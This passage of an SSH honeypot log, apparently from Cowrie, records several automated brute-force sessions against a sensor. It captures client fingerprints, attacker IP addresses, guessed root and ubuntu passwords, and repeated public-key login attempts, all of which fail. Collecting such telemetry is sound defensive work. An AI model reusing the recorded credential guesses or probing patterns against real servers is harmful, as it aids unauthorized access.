openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:10.982909Z","src_ip":"103.15.226.202","session":"eb40817f40f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"\\Cwg<;P5F{@(}t82P[yJ{","message":"login attempt [root/\\Cwg<;P5F{@(}t82P[yJ{] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:11.744301Z","src_ip":"103.15.226.202","session":"eb40817f40f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:12.997725Z","src_ip":"103.15.226.202","session":"eb40817f40f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":53812,"dst_ip":"159.203.135.109","dst_port":22,"session":"dca9641e27f8","protocol":"ssh","message":"New connection: 152.53.22.186:53812 (159.203.135.109:22) [session: dca9641e27f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:13.607009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:13.611583Z","src_ip":"152.53.22.186","session":"dca9641e27f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:13.701968Z","src_ip":"152.53.22.186","session":"dca9641e27f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe...","message":"login attempt [ubuntu/123qwe...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:14.097666Z","src_ip":"152.53.22.186","session":"dca9641e27f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:15.192432Z","src_ip":"152.53.22.186","session":"dca9641e27f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.88.0.252","src_port":17308,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cf6dce704ab","protocol":"ssh","message":"New connection: 45.88.0.252:17308 (10.17.0.5:22) [session: 7cf6dce704ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:25.226308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:25.232672Z","src_ip":"45.88.0.252","session":"7cf6dce704ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:25.333946Z","src_ip":"45.88.0.252","session":"7cf6dce704ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:d5:32:ef:64:10:4e:77:20:68:f2:fb:cc:ec:4c:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCncyzrsXHdSr4La8B7j6j/W+t/JzMMm6UZEgXsuC+vt6fT7M9xSeHu6WhxpVEd4oHFFZ1SD/O8/kv86BxC2n2lFDywlPfvCw3m8ay2tpcbX3XQQZiT+/lRFMRUuri5/sW7aG3sKiGNOzvz1Gfw34tl38AB0CuKR0DQm1S5iAsfyDAcR8PspKOzZt+iknts4aTtRrwsanQtjfaRd1vAv4VmmW2gVjWffN/V0asUhMJPXep0QyXWkKuNdToJi4XErG1W+eN+raq5VNBFPAeL6XyBO2i13bJtp4rObHzmorQk0k8tkoW27jX47AFQDFPUXNEGuG7EI9qdGoxxXoc64TVh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:d5:32:ef:64:10:4e:77:20:68:f2:fb:cc:ec:4c:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:25.751865Z","src_ip":"45.88.0.252","session":"7cf6dce704ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:d5:32:ef:64:10:4e:77:20:68:f2:fb:cc:ec:4c:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCncyzrsXHdSr4La8B7j6j/W+t/JzMMm6UZEgXsuC+vt6fT7M9xSeHu6WhxpVEd4oHFFZ1SD/O8/kv86BxC2n2lFDywlPfvCw3m8ay2tpcbX3XQQZiT+/lRFMRUuri5/sW7aG3sKiGNOzvz1Gfw34tl38AB0CuKR0DQm1S5iAsfyDAcR8PspKOzZt+iknts4aTtRrwsanQtjfaRd1vAv4VmmW2gVjWffN/V0asUhMJPXep0QyXWkKuNdToJi4XErG1W+eN+raq5VNBFPAeL6XyBO2i13bJtp4rObHzmorQk0k8tkoW27jX47AFQDFPUXNEGuG7EI9qdGoxxXoc64TVh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:25.755723Z","src_ip":"45.88.0.252","session":"7cf6dce704ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:6d:b8:ca:f8:cf:14:01:94:8b:30:af:a8:74:6b:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCo/+9aAbckC7rIF7nKmyUPol2lIzaORVqqdMSK8DJb+X+zOyFocJz9jq1JEPluE1f5fQqZrN/CEp57VcSu7WA0FEAoH8yKOW+BPy/h3GG+Uh4t4HUqQrEcC8/AwDoIfCvqrd+ok0SOgufXeS80T3+7Z3gJYT2K/Tm1Otzj45CQ7VpcLY4ikx4ED6YV7FZzhC4+4RfQKRBn3yOUG/eY2iXavYwzvIZWgG+0w5T2nbr3TYxJECcyBhvv4FYKLXzKphfgtOUHFOJRMgvSL8POffxDbPS0LuRBFMxzF5qoX78RdKJ4paNrHq8z/J0ckZCQ3ooSeBfqZLz6LxhWPX8Piv96t7nC0q9qGL8g1Tt9NfvD6YTToKRq3ZPMRQax+XnREz3IsVpBxpXsunclOpnIDMTgPdQPfY+gGXBlM2O99wpmXp/j2kmp9E9Fkjlte8AeBS0+0M+fPhUVFgpkb1TTgLadIv2V5X9qk1jtZqtFy+XfNQzrA1gTBeNcVOSKmHyF348=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:6d:b8:ca:f8:cf:14:01:94:8b:30:af:a8:74:6b:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:25.843907Z","src_ip":"45.88.0.252","session":"7cf6dce704ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:6d:b8:ca:f8:cf:14:01:94:8b:30:af:a8:74:6b:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCo/+9aAbckC7rIF7nKmyUPol2lIzaORVqqdMSK8DJb+X+zOyFocJz9jq1JEPluE1f5fQqZrN/CEp57VcSu7WA0FEAoH8yKOW+BPy/h3GG+Uh4t4HUqQrEcC8/AwDoIfCvqrd+ok0SOgufXeS80T3+7Z3gJYT2K/Tm1Otzj45CQ7VpcLY4ikx4ED6YV7FZzhC4+4RfQKRBn3yOUG/eY2iXavYwzvIZWgG+0w5T2nbr3TYxJECcyBhvv4FYKLXzKphfgtOUHFOJRMgvSL8POffxDbPS0LuRBFMxzF5qoX78RdKJ4paNrHq8z/J0ckZCQ3ooSeBfqZLz6LxhWPX8Piv96t7nC0q9qGL8g1Tt9NfvD6YTToKRq3ZPMRQax+XnREz3IsVpBxpXsunclOpnIDMTgPdQPfY+gGXBlM2O99wpmXp/j2kmp9E9Fkjlte8AeBS0+0M+fPhUVFgpkb1TTgLadIv2V5X9qk1jtZqtFy+XfNQzrA1gTBeNcVOSKmHyF348=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:25.848230Z","src_ip":"45.88.0.252","session":"7cf6dce704ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:bc:37:a7:24:20:48:12:d1:fe:70:40:59:41:03:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRxAUI4s0RuXmCEWNl9aXnJr2WF7nRWQLFdyV3NXzta7eFv9xwC61zbBmkiGZM47/AOqQyH0t15Yf2X9o/6cLa1ML1DUB04SRyxYBmpYc71OXyLsCYrSFLRGJFsUInJp4AnFTs4Yzr/8NkO28G1HY3jeckqMILZp9CkFNYzhKx895DY3ZclGXUnRvQvDO0T8MwNL/Zl5Qv3grDR+xitcH5uhcUCxoy9eJJYDKht6QVsmQWK1gQs3fR0EIqiaUrrfv4ZzIWICARNafzxO/nFDewGsP8K6fZiGdPNFzeRMmQYnw5JKEuwG90y0Mp057d8F2Ttc38lSb7f2GDwDzY6kWn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:bc:37:a7:24:20:48:12:d1:fe:70:40:59:41:03:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:25.936759Z","src_ip":"45.88.0.252","session":"7cf6dce704ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:bc:37:a7:24:20:48:12:d1:fe:70:40:59:41:03:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRxAUI4s0RuXmCEWNl9aXnJr2WF7nRWQLFdyV3NXzta7eFv9xwC61zbBmkiGZM47/AOqQyH0t15Yf2X9o/6cLa1ML1DUB04SRyxYBmpYc71OXyLsCYrSFLRGJFsUInJp4AnFTs4Yzr/8NkO28G1HY3jeckqMILZp9CkFNYzhKx895DY3ZclGXUnRvQvDO0T8MwNL/Zl5Qv3grDR+xitcH5uhcUCxoy9eJJYDKht6QVsmQWK1gQs3fR0EIqiaUrrfv4ZzIWICARNafzxO/nFDewGsP8K6fZiGdPNFzeRMmQYnw5JKEuwG90y0Mp057d8F2Ttc38lSb7f2GDwDzY6kWn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:25.940402Z","src_ip":"45.88.0.252","session":"7cf6dce704ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:0f:d0:a4:75:94:5b:b8:c2:9e:94:a6:bc:d5:67:ad","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIHu7VwpjTuHBKfx98D6PppJmOj0Pe8pHCQpD0xgYCxA","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 44:0f:d0:a4:75:94:5b:b8:c2:9e:94:a6:bc:d5:67:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:26.029134Z","src_ip":"45.88.0.252","session":"7cf6dce704ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:0f:d0:a4:75:94:5b:b8:c2:9e:94:a6:bc:d5:67:ad","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIHu7VwpjTuHBKfx98D6PppJmOj0Pe8pHCQpD0xgYCxA","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:26.033170Z","src_ip":"45.88.0.252","session":"7cf6dce704ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:41:95:51:40:d2:3f:1d:f7:a0:51:12:99:fe:d9:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq5MCTZ0D2SSBBo6TgVI/k/zzgODJgJFyyDcq87f++ZHmnu4EQyEbYjYEyfZMidw+7sbyUN+92LQHOxV8V/xRuPMtJZnc7UAcAfewyzWiG+C+PWblmFlTD3TSsdPN6bsQliVKRwZ6aLUJI73OWqU7cGv7CXWMagYLyic2MeqOUdKrWd7+wyJ/ZdPgVEJImIrugZ+6OGbZijFdNJsMk18vKJtIyhadOxJW2hO9vYpcxMXKYmt8SueN/qVYPOnReAyEigHhPD+1oSPo3GEJSUe1p6pe0dmptmaj/khE15qLBPGLIgjijAEWCff69OJkdFz4m88qJG/kqplYWE1Yj3Gt9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:41:95:51:40:d2:3f:1d:f7:a0:51:12:99:fe:d9:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:26.124487Z","src_ip":"45.88.0.252","session":"7cf6dce704ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:41:95:51:40:d2:3f:1d:f7:a0:51:12:99:fe:d9:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq5MCTZ0D2SSBBo6TgVI/k/zzgODJgJFyyDcq87f++ZHmnu4EQyEbYjYEyfZMidw+7sbyUN+92LQHOxV8V/xRuPMtJZnc7UAcAfewyzWiG+C+PWblmFlTD3TSsdPN6bsQliVKRwZ6aLUJI73OWqU7cGv7CXWMagYLyic2MeqOUdKrWd7+wyJ/ZdPgVEJImIrugZ+6OGbZijFdNJsMk18vKJtIyhadOxJW2hO9vYpcxMXKYmt8SueN/qVYPOnReAyEigHhPD+1oSPo3GEJSUe1p6pe0dmptmaj/khE15qLBPGLIgjijAEWCff69OJkdFz4m88qJG/kqplYWE1Yj3Gt9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:26.128405Z","src_ip":"45.88.0.252","session":"7cf6dce704ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:03:26.217364Z","src_ip":"45.88.0.252","session":"7cf6dce704ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.16.74","src_port":41410,"dst_ip":"10.17.0.5","dst_port":22,"session":"921561fef5f3","protocol":"ssh","message":"New connection: 173.236.16.74:41410 (10.17.0.5:22) [session: 921561fef5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:11.817392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:11.822691Z","src_ip":"173.236.16.74","session":"921561fef5f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:11.912941Z","src_ip":"173.236.16.74","session":"921561fef5f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:06:d0:d3:21:8d:b5:70:4c:08:72:7c:98:0a:3f:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDF5PJ8T5eU2pmwUR1F3cQTmIEl5+on4/O5dZxoOTc3m3fayB6ZAFnIlNmz6uGtfb50Zezmuguv2zjBHjdxtING4iVr0JGklsfaUTEXYH8sF5yPeSqGDhhtyedaoSWAAYS3kMTPqCatmCep2wQOhmeuJFQuCLCSqvDBCD1x3C4fuhGu64vvavnUb2q3CR+tu4+xDGvaPyxDZ7zppQjDFBtE9JsrihJhN0dwCdERe9ZV9cjlEC0Hj+5WnkleIGXD7a3zbiC2TYLMpHgWFUwSkabgjWrGWiyYdssoxUvQ1pgdnI5XaPz8xdQOujWglgsWoSbc6XLdjwQrRSDep9/HgB2j/bfQnZwt4Preeq4nJowxtRi9cG6teYoyF1/2A1MQWqW+ATW7zrj+I/W4O/KjkJqvhIKWiU22UIL68NbTQ5flK71PF5FkKUUmzgLdzf0NWcRXjeHxxeERY5BqJUEfl7f18iy17o4222nnyhMIQWDZeksCBkTgtEXWVQsFglLiJbbLoideOIj65Z6Bkau2Bl/xR1bIS7ZXYyyeE++zj4+IuFyThC8YzPgOHQOwId13iMai7A8lXS/xpmxTOeqVsGJwwni8pcanEXP4X9qqFWOVanP2BoluRvbJF/5m7Oy7Mb4X9hsBAdVWsP6wOUQTGIsJUk5Nag4Z8RMGebcUQkuQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:06:d0:d3:21:8d:b5:70:4c:08:72:7c:98:0a:3f:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:12.333914Z","src_ip":"173.236.16.74","session":"921561fef5f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:06:d0:d3:21:8d:b5:70:4c:08:72:7c:98:0a:3f:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDF5PJ8T5eU2pmwUR1F3cQTmIEl5+on4/O5dZxoOTc3m3fayB6ZAFnIlNmz6uGtfb50Zezmuguv2zjBHjdxtING4iVr0JGklsfaUTEXYH8sF5yPeSqGDhhtyedaoSWAAYS3kMTPqCatmCep2wQOhmeuJFQuCLCSqvDBCD1x3C4fuhGu64vvavnUb2q3CR+tu4+xDGvaPyxDZ7zppQjDFBtE9JsrihJhN0dwCdERe9ZV9cjlEC0Hj+5WnkleIGXD7a3zbiC2TYLMpHgWFUwSkabgjWrGWiyYdssoxUvQ1pgdnI5XaPz8xdQOujWglgsWoSbc6XLdjwQrRSDep9/HgB2j/bfQnZwt4Preeq4nJowxtRi9cG6teYoyF1/2A1MQWqW+ATW7zrj+I/W4O/KjkJqvhIKWiU22UIL68NbTQ5flK71PF5FkKUUmzgLdzf0NWcRXjeHxxeERY5BqJUEfl7f18iy17o4222nnyhMIQWDZeksCBkTgtEXWVQsFglLiJbbLoideOIj65Z6Bkau2Bl/xR1bIS7ZXYyyeE++zj4+IuFyThC8YzPgOHQOwId13iMai7A8lXS/xpmxTOeqVsGJwwni8pcanEXP4X9qqFWOVanP2BoluRvbJF/5m7Oy7Mb4X9hsBAdVWsP6wOUQTGIsJUk5Nag4Z8RMGebcUQkuQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:12.338524Z","src_ip":"173.236.16.74","session":"921561fef5f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:fa:74:6a:ba:4d:6c:34:4d:88:ee:54:cc:b3:8c:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3R84ryd4jkBll04sfpmaLVwvHgNtHkzho1sVIhyZA51iusitccFpQ5BsCc6KOscNc4gxIdhDhMNvIJZ9D0/m73MG6vm8ZSLyPxzUwMjMyYU6BI9jafVXofyKC3Ilu+YzYn3iwMLhz1KbACly7oEMB8vI3JpgO0VE0+1BrRZgyIWwBuFbCTZ6o977T86/BqLMVv1IS9SAg0Rwr3Z0Qky6yxAbjhZhajpdvNCcMqJ/Qu+20XLkVvXqHab4EkZbO6IYtuphex/sJYGCWAv153yELCK/nNqqagYPhn/lcZLXolsKCyTIk5vO1eFiaqzPD74Iy6lRF2ba0NmARZoV3LO9p6jFKDZCKKoQpuGYwJJQblfDZOxt5NL3PpP8VhEZ1Atjk40qd7BIGuYinaySPL03RtmITpVA/AxI7taoCuVo9pPz/pUGYjSlqRu1dsiFc+m6QixpQkGXsQJlSW3vzliHO/dxdb+cO/xEvFyPpaz41X6+4Tqc5GwSsKZuJx3hIyLoFCk1WPB4ItbQPkLTsvHuBsE8um3FPj5TS3FG3KbZqyrzpKPOecMgjW5laldes64d11pE8WqaeiaPvgikHgUDUhg2X00WMkNmf35FnLmejPr3DdTQzUanoJTEIRhZ7r19l98Ps//jDmrFoVWGIVwCo7bD24hSv+dwl9VQL8VkAaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:fa:74:6a:ba:4d:6c:34:4d:88:ee:54:cc:b3:8c:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:04:12.428214Z","src_ip":"173.236.16.74","session":"921561fef5f3","protocol":"ssh"}
